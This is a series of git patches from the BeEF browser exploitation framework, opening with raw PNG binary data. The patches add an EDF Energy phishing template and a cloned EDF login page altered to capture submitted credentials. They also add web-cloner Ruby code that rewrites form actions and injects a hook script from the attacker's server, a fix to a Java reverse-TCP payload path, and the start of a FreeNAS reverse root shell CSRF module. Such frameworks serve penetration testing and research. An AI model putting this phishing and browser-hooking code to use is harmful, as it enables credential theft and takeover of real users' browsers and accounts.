ziY0`_3XRJ$mQeJp-gTG%U*8jCw#GF$gyW}04rw)_8>NV2rsNq4Z zJ-G6<&m(}Q9LMQ-Yqy^N%)`gthrO4YS%_BC-Emnmn(EgSGE}OX6b|^)V#<3V&9gM4 z^%Wpwj|!K(WLp`V(NvM&2dt{5kcOtNSo(5HpEIe=L{e5ep)yLcxGcan2WgoW5ibzM%?6>C4ZmPW}QPQ>1Mk^fDi+0<;|(&I7- zU0&8eveTtk&P|0vl&fkqD}d7fl>flw1^Tw}slh)-4! z$X{gu#}#C1{Na))oa^8I#`6z+8k2FHvaP2}$fxf7Z^X2X#bixi(gM`~wg=v!Vrv^i z)Jp8(W$h_zT}iH+BT|PkxPgR*Nh}YtZHVUQ&_ zq@UrhG>OtQ#@S+leZUe?DX@Nv$y7a5A-e>uZU-qUj*?1@D^iIcI*FoCAOGg_U;2*{ z(smD;nUFuc?Z1@CNlhn?E8XHHfvY5-Mt(O9{4Q8GIY?R6q%>4aH%=-kL& zRe>WGs@=9)y?J7GO5e>U+hs5jMfk%g(ORgN9{l4N300=>pzz!tI`N@#^FTdmAj>@x z{{$C=@i(0cgJibI)Ka!xDi-I`=M`BM$0Z0U08s@b@RKOWBXoNpzZBs?LmbV|lSDG7 zg4Ki&HLsyS!aATDvW6Kafq!NX*_QbcYKlY7aIFP0at3&WWpE>lS8*{fHZzlREuyR7DM3-pf zoK|WcX|Ye@Fi(mw%ze;|C`ghp5B%73LeBwf8D$~HD_JTR1*O}=wyBV`CqmQ%EeP@; zGbXGgVm*r~Dys~L-LOW$Rj%q>)0x=>p_x`oF`KGsDW<0B8rLx85i3##zAf^zI4a^I zhd%`4EObC{L4Z7XVGaKc#jaz=oGnF;QX5EcZK=3cY*-*&*?+?*8q9d*?U2bDpKNKqs}wQQa#d4w z1EOcMD77DIiPq=2Km6_8XCB8u1|h5w5^hVM`?hg54g5UxvnUKBkX!&#jKGFQkSfRl z;S7VELf}|lEixJ0V!^h;8XrdRJMr5=}-8DTP8Z=jRi|ZzQP62_mK-9r1OZO#; z=lS3J*Q;OtY>8OfIY#^5{HZs+Y>&9 zX^BY7aJ8L9W(-TZ;8`nfW);g3o`>R|A*J`7k-BKx^JrUTY*ylwgULvr-muD><0j@FFc7lF@24x?V;TaO9Av2<(9) zP-s!nvcM%-l@*ZZYARxnwVL}@_a*0Bzx%O2{=fgHDLoyQ$q_L1S4Io5+63pvb+DXZ z z6b*cJG8ChMGTJPoU7n9sk`k_!N~5A0Xe7kTC45>{D7-W@)-DFaD}S|*Gxq>zuI`yTH`2%PzB+w;DfrV<3K zIkvDb(eH7#o_*rlx4u5Uc9~ACCF);b&OUPX!-^tjHfwleWS^*XR(4f3XQ>TvZCMrz z8dmU&Nw5#xXi=34(#@RlsH_l8lCY$xLWo|IvM?UEu>8TWPvzHT2nTbEZFQHrqEwzxO5j{mJ!nzcYE_VY1iL=CUeq@hv|qXia2{ zQ@FA?k?UMoD&(6b?tCK*HWEg`Ezsn^H&KwFvlKinSz403q_L=iAjn6P)EUL2?bsXT zd61K=6h>Mq1w#L(a9^;Y0KpI!x*|-S*cNYfJ9BgMCd6NV`q`K0f9eF^{Jj6rr}oOb z)7I(e_4iZSjg#2*{9t2a zuru;Qkava~4>%sfa+O!QR%*Ip=xWopdcAI|+m%7_pK+9ZvHd4b<1IhNO*4G(k1%Y( zB{US%!nKFuY!n>3M-oHJ)*SXhv2-ZAY*k$lW^~G^%H;F|VhT#fiSr~l`b9{yS!AZ| zMUI!o+fG>E_?pQ|LxI2GW0I{Qh6_zC{0wW8U^os+;lC4;I_2b)Or4 zv$ij(vG3gWSEjlv*|y5du=|xiDC6K|AAkOq zAFY_OFVUOw1XrG(eCq-4g-2iZ@nQey&fLj;iQcSd@YR10%KF_OfA-9e?@RP%J?_&F zLAVrMKmVHKHv1BNrOxh`|J~qE{_xdT)_sY-f@kvBmqA&R?bVlke0$;aXy(wqL~q*M z=6h9_UO8pmm*}gK+dTTf=;6<1YeS+{nqH4pZo5Q|NmR!-*7ERJpB5niop4c8{vJ4-UR8*4-^US zOZ29RnAVr?a9a!e61_Q%@WY=)BOG~uj&j7lL|?z>dk(w&na*`zqOa={Z(If=>^$+c z@87xZOY|lAc zN=>*9hW91%K(a dXy^YEU;z611wb+{BQF2|002ovPDHLkV1jHw3yS~% literal 0 HcmV?d00001 diff --git a/extensions/social_engineering/mass_mailer/templates/edfenergy/promo-corner-left.png b/extensions/social_engineering/mass_mailer/templates/edfenergy/promo-corner-left.png new file mode 100644 index 0000000000000000000000000000000000000000..2734ec4276bd435217e8afec5887dc82b6fffb72 GIT binary patch literal 3015 zcmV;&3pn(NP)KLZ*U+IBfRsybQWXdwQbLP>6pAqfylh#{fb6;Z(vMMVS~$e@S=j*ftg6;Uhf59&ghTmgWD0l;*T zI709Y^p6lP1rIRMx#05C~cW=H_Aw*bJ-5DT&Z2n+x)QHX^p z00esgV8|mQcmRZ%02D^@S3L16t`O%c004NIvOKvYIYoh62rY33S640`D9%Y2D-rV&neh&#Q1i z007~1e$oCcFS8neI|hJl{-P!B1ZZ9hpmq0)X0i`JwE&>$+E?>%_LC6RbVIkUx0b+_+BaR3cnT7Zv!AJxW zizFb)h!jyGOOZ85F;a?DAXP{m@;!0_IfqH8(HlgRxt7s3}k3K`kFu>>-2Q$QMFfPW!La{h336o>X zu_CMttHv6zR;&ZNiS=X8v3CR#fknUxHUxJ0uoBa_M6WNWeqIg~6QE69c9o#eyhGvpiOA@W-aonk<7r1(?fC{oI5N*U!4 zfg=2N-7=cNnjjOr{yriy6mMFgG#l znCF=fnQv8CDz++o6_Lscl}eQ+l^ZHARH>?_s@|##Rr6KLRFA1%Q+=*RRWnoLsR`7U zt5vFIcfW3@?wFpwUVxrVZ>QdQz32KIeJ}k~{cZZE^+ya? z2D1z#2HOnI7(B%_ac?{wFUQ;QQA1tBKtrWrm0_3Rgps+?Jfqb{jYbcQX~taRB;#$y zZN{S}1|}gUOHJxc?wV3fxuz+mJ4`!F$IZ;mqRrNsHJd##*D~ju=bP7?-?v~|cv>vB zsJ6IeNwVZxrdjT`yl#bBIa#GxRa#xMMy;K#CDyyGyQdMSxlWT#tDe?p!?5wT$+oGt z8L;Kp2HUQ-ZMJ=3XJQv;x5ci*?vuTfeY$;({XGW_huIFR9a(?@3)XSs8O^N5RyOM=TTmp(3=8^+zpz2r)C z^>JO{deZfso3oq3?Wo(Y?l$ge?uXo;%ru`Vo>?<<(8I_>;8Eq#KMS9gFl*neeosSB zfoHYnBQIkwkyowPu(zdms`p{<7e4kra-ZWq<2*OsGTvEV%s0Td$hXT+!*8Bnh2KMe zBmZRodjHV?r+_5^X9J0WL4jKW`}lf%A-|44I@@LTvf1rHjG(ze6+w@Jt%Bvjts!X0 z?2xS?_ve_-kiKB_KiJlZ$9G`c^=E@oNG)mWWaNo-3TIW8)$Hg0Ub-~8?KhvJ>$ z3*&nim@mj(aCxE5!t{lw7O5^0EIO7zOo&c6l<+|iDySBWCGrz@C5{St!X3hAA}`T4 z(TLbXTq+(;@<=L8dXnssyft|w#WSTW<++3>sgS%(4NTpeI-VAqb|7ssJvzNHgOZVu zaYCvgO_R1~>SyL=cFU|~g|hy|Zi}}s9+d~lYqOB71z9Z$wnC=pR9Yz4DhIM>Wmjgu z&56o6maCpC&F##y%G;1PobR9i?GnNg;gYtchD%p19a!eQtZF&3JaKv33gZ<8D~47E ztUS1iwkmDaPpj=$m#%)jCVEY4fnLGNg2A-`YwHVD3gv};>)hAvT~AmqS>Lr``i7kw zJ{5_It`yrBmlc25DBO7E8;5VoznR>Ww5hAaxn$2~(q`%A-YuS64wkBy=9dm`4cXeX z4c}I@?e+FW+b@^RDBHV(wnMq2zdX3SWv9u`%{xC-q*U}&`cyXV(%rRT*Z6MH?i+i& z_B8C(+grT%{XWUQ+f@NoP1R=AW&26{v-dx)iK^-Nmiuj8txj!m?Z*Ss1N{dh4z}01 z)YTo*JycSU)+_5r4#yw9{+;i4Ee$peRgIj+;v;ZGdF1K$3E%e~4LaI(jC-u%2h$&R z9cLXcYC@Xwnns&bn)_Q~Te?roKGD|d-g^8;+aC{{G(1^(O7m37Y1-+6)01cN&y1aw zoqc{T`P^XJqPBbIW6s}d4{z_f5Om?vMgNQEJG?v2T=KYd^0M3I6IZxbny)%vZR&LD zJpPl@Psh8QyPB@KTx+@RdcC!KX7}kEo;S|j^u2lU7XQ}Oo;f|;z4Ll+_r>@1-xl3| zawq-H%e&ckC+@AhPrP6BKT#_XdT7&;F71j}Joy zkC~6lh7E@6o;W@^IpRNZ{ptLtL(gQ-CY~4mqW;US7Zxvm_|@yz&e53Bp_lTPlfP|z zrTyx_>lv@x#=^!PzR7qqF<$gm`|ZJZ+;<)Cqu&ot2z=0000WV@Og>004R=004l4008;_004mL004C`008P>0026e000+nl3&F} z0002;Nkla41@ralqeqo6`G1-1XS3YDiKiOZL7)2&WcY34;Nc@gcSk5l*HQ!@^Ru*!NDua|9)q%v2iL(DHoLmr6d-EigXdtE{Y~COogC<45ATdAxhfCvalPiBq|8Q zsAYkG*5&QFs|y@}j6osN z1optBF7ABm@V7sldFQzeMbpLT7VI_>iNRJk14>gJX<9o)k%d}PEqr|B*xt9lqNBkj zy9rSv3U-33D7Gc~_~4bzTOM2t8K`lF8)^bng=~wycE5S}_lb)J&0O-lqk;mm%8`YJ zN;Z`~5}tW{^}cPZN;B_nyEtqUMYy$H3!ZGGocQslsFKCCSI;{5(#BWE?jL9(OoQl2F@X%0#V;OMc_ zYsTIM=oys_3|~1EI4x`ekn$u5L|-mb_VDnGaD+&tcCx;4=;-?K56J}6Uqsw+-B1)Y zxSs#@udVw&-TU6>Q>`tP6g`<*sCV8vHwFiE;?#vl#^3+si|?9Rs@e#(^e+lr9$h;U z`wxD(Vf@hXljkf0jb$S$J&AJ7@Qme)Z;X$Q96$T>1Z2sAYE8)yL0_&a5XOznB|><*E0nnVbW0%#mrOg< qxG37ub$7k6ZOz=-LnZ|T0QheSt*}#bT_w!`0000KLZ*U+IBfRsybQWXdwQbLP>6pAqfylh#{fb6;Z(vMMVS~$e@S=j*ftg6;Uhf59&ghTmgWD0l;*T zI709Y^p6lP1rIRMx#05C~cW=H_Aw*bJ-5DT&Z2n+x)QHX^p z00esgV8|mQcmRZ%02D^@S3L16t`O%c004NIvOKvYIYoh62rY33S640`D9%Y2D-rV&neh&#Q1i z007~1e$oCcFS8neI|hJl{-P!B1ZZ9hpmq0)X0i`JwE&>$+E?>%_LC6RbVIkUx0b+_+BaR3cnT7Zv!AJxW zizFb)h!jyGOOZ85F;a?DAXP{m@;!0_IfqH8(HlgRxt7s3}k3K`kFu>>-2Q$QMFfPW!La{h336o>X zu_CMttHv6zR;&ZNiS=X8v3CR#fknUxHUxJ0uoBa_M6WNWeqIg~6QE69c9o#eyhGvpiOA@W-aonk<7r1(?fC{oI5N*U!4 zfg=2N-7=cNnjjOr{yriy6mMFgG#l znCF=fnQv8CDz++o6_Lscl}eQ+l^ZHARH>?_s@|##Rr6KLRFA1%Q+=*RRWnoLsR`7U zt5vFIcfW3@?wFpwUVxrVZ>QdQz32KIeJ}k~{cZZE^+ya? z2D1z#2HOnI7(B%_ac?{wFUQ;QQA1tBKtrWrm0_3Rgps+?Jfqb{jYbcQX~taRB;#$y zZN{S}1|}gUOHJxc?wV3fxuz+mJ4`!F$IZ;mqRrNsHJd##*D~ju=bP7?-?v~|cv>vB zsJ6IeNwVZxrdjT`yl#bBIa#GxRa#xMMy;K#CDyyGyQdMSxlWT#tDe?p!?5wT$+oGt z8L;Kp2HUQ-ZMJ=3XJQv;x5ci*?vuTfeY$;({XGW_huIFR9a(?@3)XSs8O^N5RyOM=TTmp(3=8^+zpz2r)C z^>JO{deZfso3oq3?Wo(Y?l$ge?uXo;%ru`Vo>?<<(8I_>;8Eq#KMS9gFl*neeosSB zfoHYnBQIkwkyowPu(zdms`p{<7e4kra-ZWq<2*OsGTvEV%s0Td$hXT+!*8Bnh2KMe zBmZRodjHV?r+_5^X9J0WL4jKW`}lf%A-|44I@@LTvf1rHjG(ze6+w@Jt%Bvjts!X0 z?2xS?_ve_-kiKB_KiJlZ$9G`c^=E@oNG)mWWaNo-3TIW8)$Hg0Ub-~8?KhvJ>$ z3*&nim@mj(aCxE5!t{lw7O5^0EIO7zOo&c6l<+|iDySBWCGrz@C5{St!X3hAA}`T4 z(TLbXTq+(;@<=L8dXnssyft|w#WSTW<++3>sgS%(4NTpeI-VAqb|7ssJvzNHgOZVu zaYCvgO_R1~>SyL=cFU|~g|hy|Zi}}s9+d~lYqOB71z9Z$wnC=pR9Yz4DhIM>Wmjgu z&56o6maCpC&F##y%G;1PobR9i?GnNg;gYtchD%p19a!eQtZF&3JaKv33gZ<8D~47E ztUS1iwkmDaPpj=$m#%)jCVEY4fnLGNg2A-`YwHVD3gv};>)hAvT~AmqS>Lr``i7kw zJ{5_It`yrBmlc25DBO7E8;5VoznR>Ww5hAaxn$2~(q`%A-YuS64wkBy=9dm`4cXeX z4c}I@?e+FW+b@^RDBHV(wnMq2zdX3SWv9u`%{xC-q*U}&`cyXV(%rRT*Z6MH?i+i& z_B8C(+grT%{XWUQ+f@NoP1R=AW&26{v-dx)iK^-Nmiuj8txj!m?Z*Ss1N{dh4z}01 z)YTo*JycSU)+_5r4#yw9{+;i4Ee$peRgIj+;v;ZGdF1K$3E%e~4LaI(jC-u%2h$&R z9cLXcYC@Xwnns&bn)_Q~Te?roKGD|d-g^8;+aC{{G(1^(O7m37Y1-+6)01cN&y1aw zoqc{T`P^XJqPBbIW6s}d4{z_f5Om?vMgNQEJG?v2T=KYd^0M3I6IZxbny)%vZR&LD zJpPl@Psh8QyPB@KTx+@RdcC!KX7}kEo;S|j^u2lU7XQ}Oo;f|;z4Ll+_r>@1-xl3| zawq-H%e&ckC+@AhPrP6BKT#_XdT7&;F71j}Joy zkC~6lh7E@6o;W@^IpRNZ{ptLtL(gQ-CY~4mqW;US7Zxvm_|@yz&e53Bp_lTPlfP|z zrTyx_>lv@x#=^!PzR7qqF<$gm`|ZJZ+;<)Cqu&ot2z=0000WV@Og>004R=004l4008;_004mL004C`008P>0026e000+nl3&F} z0009cNkl{&x=>@r-zi}?ELSq)8ErG6))>e z0lgx!(6V#~K21|TV2U<^Eh07rKE>|9a7<|nTM-gZ7XIvV7e_Kl=6&905y|sfl9W;s zNtYIOtUPL-D;clqvPhEserk@{^=_A(nmN32_1cw#vi|((10EFi+sikf0QW4GE>fLy zE{kP-TGYF!IPF$u@wsy0tXMcPt^x@|(ALm$rGkMV0P41yTC+VH#*_ z`M{9nuKGp+bV_kr#{`Dsw+&XO(YsYPS<8N*}e0`q%pAr5~@|)RAv9vfg_s zr{7pxx;TRPH<|PxFv=>O#H^eHSt`RLE@TPQP3xq}OT1L92?{MmN-y2&oe3Qu9nSss z?Z;{BoZ$CYl)>w!FW+-kHEz{S*aHG_oOCRdMh|C7<1n`EUXL9)9l++4*-Fcn;wBYB zvrj*_Z(iSt$mN3_9k9eJl4>=3&oUmo_0lG^rUK54)EZX?PYP!|MF&503==uUx+X5o z1JOcmF@uS==6jTCC(*qpI~{2G6FdL-?k#&O<38Int7qqb@LD|YNz%7%y^gm@t)dmn zmfoc^k_D{gJryOjN(ImH<=d%3Lmtp9l|gF`&WdMBm)@noa0}7m2*Hw}HYqbSa4TQd y93sd(&4t4!CEt(HvX5vZxuXI80{{U3{{sL4f2u0qh?dO&0000 Date: Thu, 6 Sep 2012 11:30:33 +0100 Subject: [PATCH 134/225] Social Eng. extension: added EDG Energy template configuration in config.yaml --- extensions/social_engineering/config.yaml | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/extensions/social_engineering/config.yaml b/extensions/social_engineering/config.yaml index 50213ce6b..84c3a10c2 100644 --- a/extensions/social_engineering/config.yaml +++ b/extensions/social_engineering/config.yaml @@ -42,3 +42,16 @@ beef: cid1: "beef_logo.png" #cid2: "second_image.png" attachments: ["beef_attachment.pdf"] + edfenergy: + images: ["corner-tl.png", "main.png","edf_logo.png","promo-corner-left.png","promo-corner-right-arrow.png","promo-reflection.png","2012.png","corner-bl.png","corner-br.png","bottom-border.png"] + images_cids: + cid1: "corner-tl.png" + cid2: "main.png" + cid3: "edf_logo.png" + cid4: "promo-corner-left.png" + cid5: "promo-corner-right-arrow.png" + cid6: "promo-reflection.png" + cid7: "2012.png" + cid8: "corner-bl.png" + cid9: "corner-br.png" + cid10: "bottom-border.png" From 6ac074d2b05364c7df00548dd17c7cd0fa5f080d Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Thu, 6 Sep 2012 12:37:26 +0100 Subject: [PATCH 135/225] Social Eng. extension: now the web_cloner can serve modified pages as well. This is needed when the page use custom logic to submit the form. Added an example of an Edf Energy modified page. --- extensions/social_engineering/config.yaml | 7 +- .../edfenergy/my-account.edfenergy.com_mod | 790 ++++++++++++++++++ .../rest/socialengineering.rb | 3 +- .../web_cloner/web_cloner.rb | 152 ++-- 4 files changed, 877 insertions(+), 75 deletions(-) create mode 100644 extensions/social_engineering/mass_mailer/templates/edfenergy/my-account.edfenergy.com_mod diff --git a/extensions/social_engineering/config.yaml b/extensions/social_engineering/config.yaml index 84c3a10c2..9bbbc83f7 100644 --- a/extensions/social_engineering/config.yaml +++ b/extensions/social_engineering/config.yaml @@ -36,13 +36,14 @@ beef: # available templates templates: default: - # images are by default inline, so if you want to attach something, see below - images: ["beef_logo.png"]#,"second_image.png"] + # images are by default inline, so if you want to attach something, see 'attachments' below + images: ["beef_logo.png"] images_cids: cid1: "beef_logo.png" - #cid2: "second_image.png" attachments: ["beef_attachment.pdf"] edfenergy: + # my-account.edfenergy.com_mod is an example of a modified page (manually modified in order to + # intercept POST requests) to be served with the web_cloner using use_existing = true images: ["corner-tl.png", "main.png","edf_logo.png","promo-corner-left.png","promo-corner-right-arrow.png","promo-reflection.png","2012.png","corner-bl.png","corner-br.png","bottom-border.png"] images_cids: cid1: "corner-tl.png" diff --git a/extensions/social_engineering/mass_mailer/templates/edfenergy/my-account.edfenergy.com_mod b/extensions/social_engineering/mass_mailer/templates/edfenergy/my-account.edfenergy.com_mod new file mode 100644 index 000000000..7d2e32d59 --- /dev/null +++ b/extensions/social_engineering/mass_mailer/templates/edfenergy/my-account.edfenergy.com_mod @@ -0,0 +1,790 @@ + + + + + + + + + + + +MyAccount + + + + + + + + + + + + + + + + +

+ + + +
+ + + + + + +
+ + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + MyAccount + + + + + + + + + + + + + + + + +
+
+
+ + + + + + + + + + + + + + + + + +
+ + + + + + + + + +
+
+ + +
    +

    +
    + +
    +
+ +
+
+ +
+
+ + + + + + +
+

+ main content +

+
+ +
+ +
+
+
+

Login to MyAccount

+ + + +
+ + + + + + + + + +
+ + + + + + + + + + + + + + +
+ + + + helpPlease enter your username +
+ + + + helpPlease enter the password for this account +
+ + + + + +


+

Forgotten your username or password?

+
+ + +
+
+

Register Today!

+

 

+ +
    +
  • View and pay your bills
  • +
  • Submit your meter reading
  • +
  • Update your details
  • +
  • Sign up for Direct Debit
  • +

+ + + + + +
+ + +    +
+
+

Don't have an online account?
You can still submit a meter reading

+
+
+
+
+
+
+ + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+ + + + +
+ + + \ No newline at end of file diff --git a/extensions/social_engineering/rest/socialengineering.rb b/extensions/social_engineering/rest/socialengineering.rb index a6aa9d188..a0a85f7c2 100644 --- a/extensions/social_engineering/rest/socialengineering.rb +++ b/extensions/social_engineering/rest/socialengineering.rb @@ -40,6 +40,7 @@ module BeEF body = JSON.parse request.body.read uri = body["url"] mount = body["mount"] + use_existing = body["use_existing"] if uri != nil && mount != nil if (uri =~ URI::regexp).nil? #invalid URI @@ -53,7 +54,7 @@ module BeEF end web_cloner = BeEF::Extension::SocialEngineering::WebCloner.instance - success = web_cloner.clone_page(uri,mount) + success = web_cloner.clone_page(uri,mount,use_existing) if success result = { "success" => true, diff --git a/extensions/social_engineering/web_cloner/web_cloner.rb b/extensions/social_engineering/web_cloner/web_cloner.rb index 1cf5feb7f..5f56f2ae8 100644 --- a/extensions/social_engineering/web_cloner/web_cloner.rb +++ b/extensions/social_engineering/web_cloner/web_cloner.rb @@ -27,7 +27,7 @@ module BeEF @beef_hook = "http://#{@config.get('beef.http.host')}:#{@config.get('beef.http.port')}#{@config.get('beef.http.hook_file')}" end - def clone_page(url, mount) + def clone_page(url, mount, use_existing) print_info "Cloning page at URL #{url}" uri = URI(url) output = uri.host @@ -35,84 +35,94 @@ module BeEF user_agent = @config.get('beef.extension.social_engineering.web_cloner.user_agent') success = false - # prevent command injection attacks, passing URLs like (http://antisnatchor'||touch /tmp/foo #). No shells are open in the following case. - begin - IO.popen(["wget", "#{url}","-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}","--no-check-certificate","--background"], 'r+') do |wget_io| end - success = true - rescue Exception => e - print_error "Errors executing wget: #{e}" - print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH." - end - if success - File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file| - File.open("#{@cloned_pages_dir + output}", 'r').each do |line| - # Modify the
line changing the action URI to / in order to be properly intercepted by BeEF - if line.include?(" e + print_error "Errors executing wget: #{e}" + print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH." + end - # modify the form 'action' attribute - line_attrs.each do |attr| - if attr.include? "action=\"" - print_info "Form action found: #{attr}" - break + if success + File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file| + File.open("#{@cloned_pages_dir + output}", 'r').each do |line| + # Modify the line changing the action URI to / in order to be properly intercepted by BeEF + if line.include?("") && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook') + out_file.print add_beef_hook(line) + print_info "BeEF hook added :-D" + else + out_file.print line end - line_attrs[c] = "action=\"#{mount}\"" - - #todo: to be tested, needed in case like yahoo - # delete the form 'onsubmit' attribute - #line_attrs.each do |attr| - # if attr.include? "onsubmit=" - # print_info "Form onsubmit event found: #{attr}" - # break - # end - # cc += 1 - #end - #line_attrs[cc] = "" - - mod_form = line_attrs.join(" ") - print_info "Form action value changed in order to be intercepted :-D" - out_file.print mod_form - # Add the BeEF hook - elsif line.include?("") && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook') - out_file.print add_beef_hook(line) - print_info "BeEF hook added :-D" - else - out_file.print line end end end - - if File.size("#{@cloned_pages_dir + output}") > 0 - print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]" - - file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve - - # Check if the original URL can be framed - frameable = is_frameable(url) - - interceptor = BeEF::Extension::SocialEngineering::Interceptor - interceptor.set :redirect_to, url - interceptor.set :frameable, frameable - interceptor.set :beef_hook, @beef_hook - interceptor.set :cloned_page, get_page_content(file_path) - interceptor.set :db_entry, persist_page(url,mount) - - @http_server.mount("#{mount}", interceptor.new) - print_info "Mounting cloned page on URL [#{mount}]" - @http_server.remap - success = true - else - print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'." - success = false - end end - success + + if File.size("#{@cloned_pages_dir + output}") > 0 + print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]" + + file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve + + # Check if the original URL can be framed + frameable = is_frameable(url) + + interceptor = BeEF::Extension::SocialEngineering::Interceptor + interceptor.set :redirect_to, url + interceptor.set :frameable, frameable + interceptor.set :beef_hook, @beef_hook + interceptor.set :cloned_page, get_page_content(file_path) + interceptor.set :db_entry, persist_page(url,mount) + + @http_server.mount("#{mount}", interceptor.new) + print_info "Mounting cloned page on URL [#{mount}]" + @http_server.remap + success = true + else + print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'." + success = false + end + + success end private From 5fc56a9dfa03cf22c8d42f357d1e7de4ce2780ab Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Fri, 7 Sep 2012 08:41:02 +0100 Subject: [PATCH 136/225] Social Eng. extension: added stub for mass_mailer DB structure --- .../social_engineering/models/mass_mailer.rb | 33 +++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100644 extensions/social_engineering/models/mass_mailer.rb diff --git a/extensions/social_engineering/models/mass_mailer.rb b/extensions/social_engineering/models/mass_mailer.rb new file mode 100644 index 000000000..142f2395e --- /dev/null +++ b/extensions/social_engineering/models/mass_mailer.rb @@ -0,0 +1,33 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF + module Core + module Models + + class Massmailer + + include DataMapper::Resource + + storage_names[:default] = 'extension_seng_massmailer' + + property :id, Serial + + #todo fields + end + + end + end +end From 8625452751ab8a07724ac410cb51f93bab8fa632 Mon Sep 17 00:00:00 2001 From: bcoles Date: Fri, 7 Sep 2012 20:30:19 +0930 Subject: [PATCH 137/225] Add support for Firefox 15 --- core/main/client/browser.js | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 519285a08..97b8317a6 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -188,12 +188,20 @@ beef.browser = { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/14\./) != null; }, + /** + * Returns true if FF15 + * @example: beef.browser.isFF15() + */ + isFF15: function() { + return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/15\./) != null; + }, + /** * Returns true if FF. * @example: beef.browser.isFF() */ isFF: function() { - return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14(); + return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15(); }, /** @@ -463,6 +471,7 @@ beef.browser = { FF12: this.isFF12(), // Firefox 12 FF13: this.isFF13(), // Firefox 13 FF14: this.isFF14(), // Firefox 14 + FF15: this.isFF15(), // Firefox 15 FF: this.isFF(), // Firefox any version IE6: this.isIE6(), // Internet Explorer 6 @@ -526,6 +535,7 @@ beef.browser = { if (this.isFF12()) { return '12' }; // Firefox 12 if (this.isFF13()) { return '13' }; // Firefox 13 if (this.isFF14()) { return '14' }; // Firefox 14 + if (this.isFF15()) { return '15' }; // Firefox 15 if (this.isIE6()) { return '6' }; // Internet Explorer 6 if (this.isIE7()) { return '7' }; // Internet Explorer 7 From 384fe7bcab44e8bce8ca0b4a7178a9a4a63ed73b Mon Sep 17 00:00:00 2001 From: bcoles Date: Fri, 7 Sep 2012 23:00:24 +0930 Subject: [PATCH 138/225] Fix issue #741 --- modules/exploits/local_host/java_payload/module.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/local_host/java_payload/module.rb b/modules/exploits/local_host/java_payload/module.rb index 2f3380bc7..bd0e902dc 100755 --- a/modules/exploits/local_host/java_payload/module.rb +++ b/modules/exploits/local_host/java_payload/module.rb @@ -16,7 +16,7 @@ class Java_payload < BeEF::Core::Command def pre_send - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/java_payload/AppletReverseTCP-0.2.jar', '/anti', 'jar') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/local_host/java_payload/AppletReverseTCP-0.2.jar', '/anti', 'jar') end def self.options From 69c59bb4276cd6d54591a4a59d4216bd07b7dd03 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Fri, 7 Sep 2012 17:21:17 +0100 Subject: [PATCH 139/225] Social Eng. extension: moved the extension config line in main config file. --- config.yaml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/config.yaml b/config.yaml index 2c5939e42..29bf0fef2 100644 --- a/config.yaml +++ b/config.yaml @@ -94,8 +94,8 @@ beef: enable: false social_engineering: enable: false - console: - shell: - enable: false evasion: enable: false + console: + shell: + enable: false From 9e47942d3fc527aaad61aacedf1a8c346101b524 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 9 Sep 2012 21:05:16 +0930 Subject: [PATCH 140/225] Added FreeNAS remote reverse root shell CSRF module For more information see: http://support.freenas.org/ticket/1788 --- .../command.js | 34 +++++++++++++++++ .../config.yaml | 28 ++++++++++++++ .../freenas_reverse_root_shell_csrf/module.rb | 37 +++++++++++++++++++ 3 files changed, 99 insertions(+) create mode 100644 modules/exploits/nas/freenas_reverse_root_shell_csrf/command.js create mode 100644 modules/exploits/nas/freenas_reverse_root_shell_csrf/config.yaml create mode 100644 modules/exploits/nas/freenas_reverse_root_shell_csrf/module.rb diff --git a/modules/exploits/nas/freenas_reverse_root_shell_csrf/command.js b/modules/exploits/nas/freenas_reverse_root_shell_csrf/command.js new file mode 100644 index 000000000..8df334d6c --- /dev/null +++ b/modules/exploits/nas/freenas_reverse_root_shell_csrf/command.js @@ -0,0 +1,34 @@ +// +// Copyright 2012 Wade Alcorn 